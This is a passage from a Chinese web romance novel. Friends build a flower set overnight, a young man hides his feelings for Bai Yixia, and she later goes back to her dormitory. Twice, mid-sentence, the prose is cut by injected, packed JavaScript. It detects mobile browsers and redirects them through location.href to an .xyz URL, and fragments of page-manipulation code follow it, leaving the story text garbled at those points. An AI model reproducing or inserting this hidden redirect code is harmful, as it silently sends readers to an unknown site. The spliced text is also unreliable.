但这种实用型周边柏以夏很少去探究它的用处,美美欣赏完了之后就搁在自己的抱枕山了。 祁望展开之后看见柏以夏若有所思的表情,还以为她嫌这个抱枕不干净,解释道:“这个箱子装的都是日常用品,平常都是盖着的。” 柏以夏回过神,完全没明白祁望在说什么,但这不妨碍她接过小被子冲并回以感激一笑:“祁望,谢谢你啦。” 说完她就轻手轻脚地窜进房间里,仔仔细细地把小被子搭在周清池身上。 周清池睡觉的样子和醒着的时候不太一样。柏以夏模模糊糊地记得还小的时候,小区里的叔叔阿姨总会看着周清池说他长得和他爸爸真像。 对于那个无耻的男人柏以夏已经记不清楚了,但随着年纪的增长,周清池和父亲相像的那部分慢慢褪去了,长成了自己的模样。 清醒状态下的周清池无疑是温和的,而睡着时那点冷峻就凸显出来了,显得格外不近人情。 但柏以夏哪管那么多,只觉得周清池这样也是帅得她心痒痒。 看着看着,她又不着四六地想着,姜姨和那个不管家庭的男人离婚真是太好了,不然不光姜英华自己,就连周清池也会受影响。 兀自对着周清池傻乐了半天后,柏以夏终于活动够了,又坐回位置上开始忙碌。 所幸心情又好了很多,工程量也不算大了,她和祁望在两点之前把需要的花和枝干都解决完毕,就剩下组装了。 所以说大学生一天都有使不完的牛劲呢。两人到了这个点居然越来越兴奋,端着箱子到搭建好的花架旁边嘀嘀咕咕地比划着怎么缠绕最好看。 铁架不好控制,柏以夏小心翼翼地捏着花枝在空隙里穿来穿去,但还是一不小心手滑了一下,铁架子在地上划出一道尖锐的响声。 蹲在架子前面的两人就像是炸毛的猫一样一动不动,过了好半晌才慢慢地扭头回看过去。 谁知本该睡得香甜的周清池正撑着下巴看着他们,显然一副已经醒了一会儿的样子了。 柏以夏看着他眼中一喜,“小周哥!快来快来,帮一下忙嘛。” 周清池是被那边纸张摩擦的声音闹醒的,他没有起床气,也很迅速地在睁眼之后就清醒过来。 但看着白墙下被一地蔷薇花簇拥着的两人,他心头还是忍不住地升起了巨大的不悦。 可当柏以夏转过头朝他笑起来的时候,心里那股无名气还是很没出息地消散了。 你看,谁能拒绝一个对着你笑的柏以夏呢? 周清池趁着低头整理抱枕的时候无奈地叹了一口气,再抬头的时候又恢复成了最平常的样子,嘴角挑着挑不出错的笑,“怎么之前不把我叫醒?” 柏以夏没什么讲究地盘腿坐在地上,铁丝拧成的花枝错落的搭在她的腿上,头上还带着一个花环,活脱脱的一个蔷薇花精灵一样。周清池看得心软,拉着她的手让她站起来,“速度好快,这么点时间就弄好了,不愧是小夏师傅,动手能力非同一般。” 柏以夏听着周清池的话笑得越发开心,“看你睡得好香,所以才没叫你,反正我们已经弄得差不多了嘛。” 周清池眼神往旁边的祁望身上飘了一下,他头都没抬一下,一本正经地捏着花枝往铁杆上缠着,仿佛对工作一下子产生了极大的兴趣。 缓和的情绪突然又往上翻涌,周清池想到醒来时凑在一起的两个脑袋,只觉得自己有点想说什么恶毒的话发泄一下。 但想了想柏以夏,他深深吐出一口气,揉了揉柏以夏的脑袋,“行了小夏师傅,你来指导吧,我们来弄。” 拾掇花花草草是周清池的强项,在柏以夏的监工下,差不多一个半小时就完成了。 柏以夏当然也不是纯闲着,在两人粘好最后一处的时候,她也刚好完成后景白墙的纹路绘制。 柏老师满意地对比着自己的画和现场景,觉得至少还原了百分之八十。 她将画盘放在一边,用力地升了个懒腰,扭头朝周清池和祁望挑着眉,道:“完工!!” 周清池见她高兴自己便心下一片柔软,他低着头笑,目光穿过窗户探向外面。街上零零散散地有了几个行人,路灯或明或暗的光照着街道,映下零落的树影。 十几岁之后,他就很少和柏以夏单独待到这个时间点了。 想到这里,周清池才后知后觉自己一时头脑发热做了什么。 从平常的聊天里可以得知,柏以夏和这个祁望认识也不过短短几天,居然就这样不防备地跟着他来这里吗? 还熬通宵,万一……周清池懊恼地皱起眉头,带着些责备地去看柏以夏。 她过了新鲜劲,现在看起来也透着疲倦,正拉伸胳膊肩背。 周清池瞬间被带跑注意力,伸手在她肩膀上不轻不重地捏了一下,“难受?” 柏以夏哼哼着点了点头,“刚还没感觉到呢,一放松下来就觉得自己背痛,肩膀也痛。”她哀嚎一声,“居然脖子也酸!” 周清池闷声笑着,推着她的肩膀把她按到座位上,“来吧,周师傅给你按摩一下。” 柏以夏从善如流地坐在椅子上,往后微微靠着,扬扬下巴:“准了。” 画东西久坐,暑假的时候柏以夏只是聊天似的提过一句,周清池就专门学了一手,但还没等他学出师,就开学了。 这会儿不是赶巧有了他发挥的机会? 周师傅非常满意,默念着手法在她肩膀处揉揉捏捏。 顾客显然很满意,舒适地向他举起一根大拇指。 周清池笑笑,也没再出声。没一会就感觉柏以夏的头往下坠了一下,他赶忙拖住她的下巴,微微往上一抬,让她靠在自己的腹部。 他看不见柏以夏的样子,但此时房间内没有声音,只有他离得近,听见下方传来平缓的呼吸声。 几乎熬了一晚上,骤然放松下来后柏以夏很快就睡着了。 周清池垂眸看去,只能看见她的头顶。他抬手轻轻摸了下,头发软软的蓬蓬的。记忆一下子就回到了小时候。 再小一点的事情很少有人会记得,周清池只想得起来三岁多的时候,她妈妈带着自己回了一趟外公外婆家,一走就是一个暑假。 过了两个月,牵着他的手第一时间不是回自己家,而是敲开了对面的门。 妈妈手按在他的肩上,笑盈盈地指着一个小女孩,“小池,你看,那是小夏妹妹呀。你不记得了吗?” 周清池那时候总不喜欢笑,小小年纪就板着一张脸,只躲着人不吭声。 小夏妹妹本来正闹着要她妈妈抱,听见了姜姨姨的声音后就变得乖乖的,抱着妈妈的腿好奇地看向那边,看见周清池,她一下子就笑了起来,脆生生地喊道:“小池哥哥!” 没有人能拒绝柏以夏,哪怕是三岁的周清池,也只会在妹妹对着自己笑的时候也回一个微笑。 “那个……”回忆被打断,祁望不知道什么时候走到了周清池身边,很小声地说道,“要不我把我姐叫起来,让小夏去休息室睡?” 周清池看了一眼时间,才刚过五点钟,他哑然地看着祁望:真是你姐的好弟弟。 “谢谢,但是不用了,她在外面睡不了多久。”周清池笑着拒绝了。 说完他细细地打量着祁望,昨天来的着急,心里也焦急,根本没注意过他。祁望和周清池差不多高,但要看起来要纤细一些,性格好像很开朗。 周清池默默地想着:小夏喜欢的类型,会是这种吗? 他刚打算和祁望聊几句,就见面前的男生闪躲着目光,然后转身就往外走,“我去、我去买点早饭回来。” 周清池无语:到底在心虚什么,这个点真的有卖早点的吗? 他突然目光一凛,不难看出祁望喜欢柏以夏,难不成他也看出自己喜欢小夏了? 周清池突然有些慌张起来,他不怕自己的心思被点明,但害怕柏以夏的拒绝和疏远。 “如果……我不是你想的那样,还会愿意和我、做朋友吗?”周清池喃喃道。 柏以夏也没想到自己就这么睡着了,脑子浑浊一片,眼皮死沉。她内心大吼一声,感觉自己耳边有什么声音嗡嗡的,迷糊道:“谁在说话?” 声音停了一下,而后传来周清池熟悉的嗓音:“醒了?” 柏以夏这才察觉到自己好像是靠在周清池的身上,她混沌的脑子立马开始运作:按照这个高度,自己应该是靠在小周哥的腹肌上!! 柏以夏缓缓闭上眼睛,面上不显,内心狂喜,柏以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138963|180390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏啊柏以夏,你真是好命。她往后扬了扬头,感觉自己后脑勺抵到了硬硬的东西,拼命地压着自己的嘴角。 没关系的,我只是还没睡醒,又不是故意的,柏以夏很不诚实地想着。又眯了几分钟之后,她才睁开眼睛,一眼就看见了周清池低头看自己,柏以夏咧嘴一笑,“谢谢小周哥愿意给我当靠背。” 说完之后就被周清池点了点额头,“行了,这样也不舒服。起来坐好。” 柏以夏自觉占到了便宜,乖乖地坐直身体,眼睛跟着周清池走,见他坐到自己面前的桌子上才又弯着眼睛笑起来,和他打着商量:“不能告诉妈妈噢。要是被妈妈知道我又熬夜,一定会被教训的。” “知道会被训还这样做。”周清池哭笑不得。 柏以夏晃晃脑袋,“其实我也觉得好突然,其实放在今天做也是可以的,但是——”她拖着长音,朝着周清池眨眨眼,“你不觉得这样很有意思吗?” “什么意思?困的意思?” 柏以夏听得出来周清池在逗自己,她煞有介事地伸出食指晃了晃,“nonono。”说完,她愣了一下,“其实我也说不明白。” 周清池:“?” 柏以夏有些心虚地移开视线,“就是,莫名其妙的,大张旗鼓的,心血来潮的,做了一件很了不起的事情的感觉。” 她看向那个花架,蔷薇花栩栩如生,足足两三米长,每一个部件都是他们亲手做成的,光是看着都格外地满足。 周清池也随着她的目光看去,不由得被繁茂的花架留住了目光。 柏以夏就是需要这个时机,趁着周清池没注意这里,她在层层的褶皱纸底下翻找着自己藏起来的心意,在周清池转头过来的时候拿着花束往他面前一送。 她刚醒来的时候不老实,在周清池的腹肌上蹭了好几下,头发有些乱蓬蓬的,明明熬了一个晚上,只休息了那么十几二十分钟,硬是还神采奕奕的,手中的花束简直要直接怼到周清池的脸上去了。 周清池被这突如其来的惊喜弄得一愣,“这是?” 就一小束花,但从精细度看来是花了心思的。周清池正要伸手去接,就看见柏以夏歪着脑袋从花后面露出一张笑脸,轻声道:“是木香花哦,你的心头爱。” 周家的阳台上种了满墙的黄色木香花,盛放的时节,花香四溢,阳光洒落在明黄色的花瓣上,尤其的活泼肆意。 就像面前的人一样。 周清池眼眶发热,手越过花束落到柏以夏脸上,轻轻地点了点她的鼻尖,声音有些哑:“谢谢小夏,我很喜欢。”但花是因你而种,爱的也是你。 他微微张口,话几乎都要到嘴边了。 房门却在这个时候打开了,祁望拎着一兜子东西停在门口。 周清池看不见他,柏以夏却注意到了,她有些不好意思地把花往周清池怀里一塞,起身招呼祁望,“你出去啦?” 祁望看了看柏以夏,又看了看周清池,觉得即便是没看见他的脸,也从背影上看出些不对劲,他迟疑道:“我……回来了?” 柏以夏:“?”兄弟你是不是熬夜熬出问题了? 周清池背对着柏以夏,遗憾的同时又大大地松了一口气。他把花妥善归置好,转身看着祁望,没什么温度地问道:“早点铺子出摊了?” 祁望方才找回点脑子,摇了摇头,“没。但是便利店开着,我就买了点面包牛奶的。” 时间确实还早,但三个人之间的氛围突然又变得有些凝固,只好都默不作声地啃着面包。 祁望最先吃完,他看着两人,问道:“COS服还在家里,我得回去一趟,你们就在这里吗?” 柏以夏道:“不急,我们明天拍吧。你也熬了一个晚上,回去好好休息一吧,免得不好上妆。诶,对了,你找妆娘了吗?” 祁望挠挠眉毛,“嗯……白易安。” 柏以夏释然,又是你,白易安。但熟人的话也更好办事,柏以夏点点头,“那正好,明天我带她一起过来吧,一天拍完没问题的。” 周清池不甘示弱地插了句话,“明天我还可以来吗?还没见你拍过这种类型的照片。” 他笑得很诱惑柏以夏,柏以夏便没什么抵抗力地同意了,点了头才想起没过问正主的意见,于是她又扭头看向祁望。 祁望能怎么办? 只能同意了。 三人又休息了半个小时,等到了六点才拖着疲惫的身体往外走。 周清池拦了一辆车,示意柏以夏和祁望上车,自己却没坐上车,他看着柏以夏认真嘱咐道:“我回家一趟,明天再过来。你到了学校记得给我消息。”说完朝祁望点了点头。 柏以夏颇感不舍,但学校更近,她也并不想折腾回家,于是趴在车窗上看着周清池,“那你也要记得给我消息哦。” 周清池安抚地朝她笑,“知道了。”又沉默了一下,“小夏,我们明天见。” 这次柏以夏懂了他的意思,明天见是字面意思。 她弯着眼睛,很愉快地回道:“明天见。” 19. 第十九章 爱心是谁 好在C大没有门禁,柏以夏顺利地飘进了寝室里。 早上六点过一点,寝室里一片安静,不用猜都知道白易安和陈宛宜两人睡得如同婴儿一般。 柏以夏放下包之后站在原地有些发懵。 到底是先去洗漱一番还是直接滚上床睡觉?她渴望地看了一眼自己的床铺,通宵之后柔软的被子比任何东西都还要吸引人。 不开玩笑,她能直接睡到天黑。 回来的路上耗尽了最后一点精力,脑子勉强还能转动。柏以夏游魂一样站在寝室里,还没思索出什么来,倒是把早起的卢茜吓了一大跳。 柏以夏有些迟钝地扭头看过去,费劲地思考了一会儿才恍然大悟:“噢茜茜,你要去家教了吗?” 卢茜现在已经推掉了周中的所有兼职,只在周末去家教,但课程给自己排的很紧。她听见柏以夏的声音,松了一口气,但同时又有些疑惑,“夏夏,你不是回家了吗?” 柏以夏轻轻摇了摇头,“没有,我这周本来就不回家。” 她声音云淡风轻,脸上带着淡淡的笑意,眼神看似是落在卢茜的身上,实际上不知道散到哪里去了。 卢茜一头雾水:“你怎么了?看着好憔悴,你昨天晚上偷牛去了?” 柏以夏摇摇头,简单地给她说了昨天晚上的事情。 卢茜:“……通宵的意义是白天大睡特睡?” 柏以夏就知道她会这样说,哈哈笑了两声,撅了下嘴,朝她摇了摇头,“不,这是对热爱的追求。” 说完,她打了一个长长的哈欠,眼角浸出几颗泪花。柏以夏挣扎着瞪着眼睛,“不行了,等我睡醒再去洗漱吧。感觉马上要昏过去了。” 卢茜连忙走过去扶着她的手臂,颇有些哭笑不得:“睡吧你。反正是周末,也没什么大事。” 她说完这话的时候,柏以夏已经窝进了被窝里,囫囵拉了一下帘子就要闭眼睡过去。 下一秒,她陡然睁大眼睛,胡乱摸到自己的手机,念叨着“给小周哥发消息发消息”。 卢茜不知道柏以夏有没有发成功,但知道她说完就没了动静。 她无奈地叹了一口气,接着就轻手轻脚地出门了。 - 周清池半路就收到了柏以夏的消息,看着聊天框里弹出来的一串拼音,他勾唇笑了一下。 不用猜也知道是已经困得迷糊了。 周清池慢吞吞地回来一句“我知道了”,想了想又补充了一句。 -请吃粥:花很喜欢,谢谢小夏。 等他到家的时候,已经是快八点钟了。家里静悄悄的,周清衍的房间半敞着,厚重的床帘把光遮得死死的,半点阳光都没透进来。 周清池朝向阳台的脚尖一转,朝着弟弟的房间走去。 没在床上看到人的那一瞬间,周清池松了一口气。 但很快,身后传来一声疑惑的“哥”。 周清池扭头一看,周清衍一头乱毛地从厨房里走出来,手上还拿着一瓶酸奶。 没等周清衍说话,他先发制人,“你逃课?” 周清衍没控制住表情地白了他一眼,很没有兄弟情地吐槽:“亲哥,你过的是哪的时间?今天周六啊。” 周清池顿了一下,丝毫没有被攻击到。他点点头,不打算再搭理他,继续往阳台走,但刚把手放到阳台门上,他又拧着眉转头。 “你逃补习班?” 一大早就被狠狠扣两个莫须有的罪名,周清衍差点被嘴里的酸奶呛到,他难以置信地看着周清池,崩溃道:“周清池,你是我亲哥吗?你有没有看我给发的消息?!!” 周清池迟疑地看了他一眼,在弟弟怒气冲冲的步伐里掏出自己的手机。 果不其然,周清衍前天晚上给他发了消息。 -弟:这周末物理不上,调到国庆连着上去了。 -弟:哭.jpg哥你会回来请我吃饭的吧? 周清衍这时已经凑到他身边了,和他一起看着消息,咬牙切齿地说道:“好啊,你当时看了的。我看到消息没有红点了!你为什么不回我?!!” 周清池心虚地返回界面,想了想前天的事情。 那会儿他正惹了柏以夏难过,哪里想得起自己的便宜弟弟。 他正打算找点借口,周清衍突然激动地按住他的手:“等等等等!这个爱心是谁?谁?哥你谈恋爱啦?” 周清池一巴掌把他的爪子打掉,面不改色地把手机揣进兜里,“你看错了。” “我两只眼睛都是5.0!”周清衍愤愤道。 眼神一转,他又看见周清池手上的花,“诶?哥你哪来的花?有点像家里的那个、那个……” 咔啦。 阳台门被拉开,周清池迈步走上阳台,将小巧的花束放进一个玻璃罩中。温声道:“木香花。” 周清衍也跟着进来了,手欠地在这摸一下在那摸一把,“对。” 他抬头看了看花架,有些遗憾地说道:“可惜今年花期已经过了。” “诶,对了。谁送的啊?哥,哥——” 周清池不想听他跟叫魂一样,“闭嘴。你夏夏姐送的。” 周清衍在他身后撇撇嘴,就说是夏夏姐吧。 “既然这周不补课,那我带你去吃东西,有什么想吃的?我明天早上走得早,你自己好好做作业。” 周清衍闻言眼前一亮,“太好了,哥你真好。”他正翻着自己收藏的美食,突然手下一顿,抬眼看着亲哥,“你明早要去哪?找那个爱心吗?” 周清池收拾东西的手一顿,扭头看了他几秒,慢条斯理地说道:“周清衍,你是不是很久都没练过跆拳道了?” 他抬手示意了一下,脸上毫无波澜,“我们来练练。” 周清衍咽了一口口水,苦笑:妈妈,我再也不嘴贱了。 - 柏以夏很成功地睡到了晚上六点过,中途只翻了个身。 她刚醒过来还有些头脑发懵,声音有些哑:“几点了?” “嚯,醒得刚刚好啊夏。”床下传来白易安的声音,她敲了敲柏以夏的床沿,“我和小宛刚巧把饭买回来,正打算喊你呢。” 柏以夏挪到床边扒着栏杆,头发乱蓬蓬的,眼神还有些呆滞:“噢,有我的份呀?” 陈宛宜回头就看见她这副样子,没忍住抬起手机拍了下来,“有呢。特地给你带的酸辣粉,下来吃了醒醒神吧。再睡晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138964|180390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还睡不睡啦?” 柏以夏闻言点点头,有一个翻身躺倒在床上,盯着床帘盯慢慢地眨眼。 好累,再也不要通宵了TvT 床下陈宛宜招呼白易安去看她的手机,作为柏以夏忠实的颜粉,她很满意地展示刚刚的照片:“不是我说,我家咪刚从窝里抬头也就是这么萌了。” 白易安探头看了一眼,给予她一个肯定的目光。 柏以夏听得好笑,也算是缓过神来,从床上下来后脚一沾地就像是活过来了一样。 一左一右地挽着好室友的胳膊,“谢谢小白和小宛吃饭还记得我~” 陈宛宜摸了摸她的脑袋:“懂得谢恩就好。” 柏以夏嘻嘻笑着溜达到自己的位置,一边嗦粉一边给她们讲自己昨天的通宵之旅。 白易安混迹二次元已久,非常能理解她这种心态,一本正经地附和道:“是的没错,我们就是如此热爱我们的热爱。” 陈宛宜无语凝噎。 柏以夏适时地冒出头来拯救她,“对了,明天要不要和我一起去玩呀。可以给我当小助手。” “噢,小白要去给祁望化妆。” 此话一出就像是点燃了爆竹一样,白易安和陈宛宜对视一眼,双双碰着自己的晚饭蹭到柏以夏边上,眼里闪烁着八卦的光芒。 “夏夏——” “讲讲——” “祁望怎么样?” 柏以夏当然知道她们想听什么,但这会儿也不想卖出周清池的存在,以免两人再出什么损招。 于是咬着筷子沉吟了两秒,假装思考道:“他呀。他人很好,很开朗,是个值得结交的人。” 白易安耐心地等了又等,发现这就是她全部的感受之后,失望道:“就没啦?” 柏以夏眼珠子一转,语气高昂道:“当然还有!” 白易安聚精会神。 “虽然只看过几张他的cos,但能感受到他非常专业,相信他一定能很好的还原塞尔戈维!” “……” 陈宛宜捧着碗来,带着失望而归,“散了吧散了吧,夏夏心里只有事业没有爱情。” 柏以夏心虚地嚼着花生:对不起啊小宛,其实夏夏是恋爱脑来的。 白易安轻叹一口气,“好吧,也没什么。”她挠挠鼻尖,感觉自己要是再问,都有些像拉皮·条的了。 她遗憾地坐回到自己的位置上,正巧祁望给她发来消息,和柏以夏刚刚告诉她的一样,请她明天一起去摄影棚那边替他化妆。 白易安欣然接受了,又实在忍不住好奇地问了问祁望。 -白白拜拜:你和夏夏,一点火花都没燃起来? 等了很久之后,那边才姗姗来迟地回了一个委屈萨摩耶的表情包。 白易安抱着手机:哦吼,好惨。 但同时她又有些疑惑,柏以夏平常也不是冷淡风格,偶尔也会和她们凑在一起看互联网帅哥。 还夸过一闪而过的期望。没道理吃不到他的颜啊? 但当第二天她拎着化妆包看着柏以夏欢快地跑向另一个帅哥时,一切疑问都烟消云散。 好哇,原来是有自留款了,所以其他的都索然无味。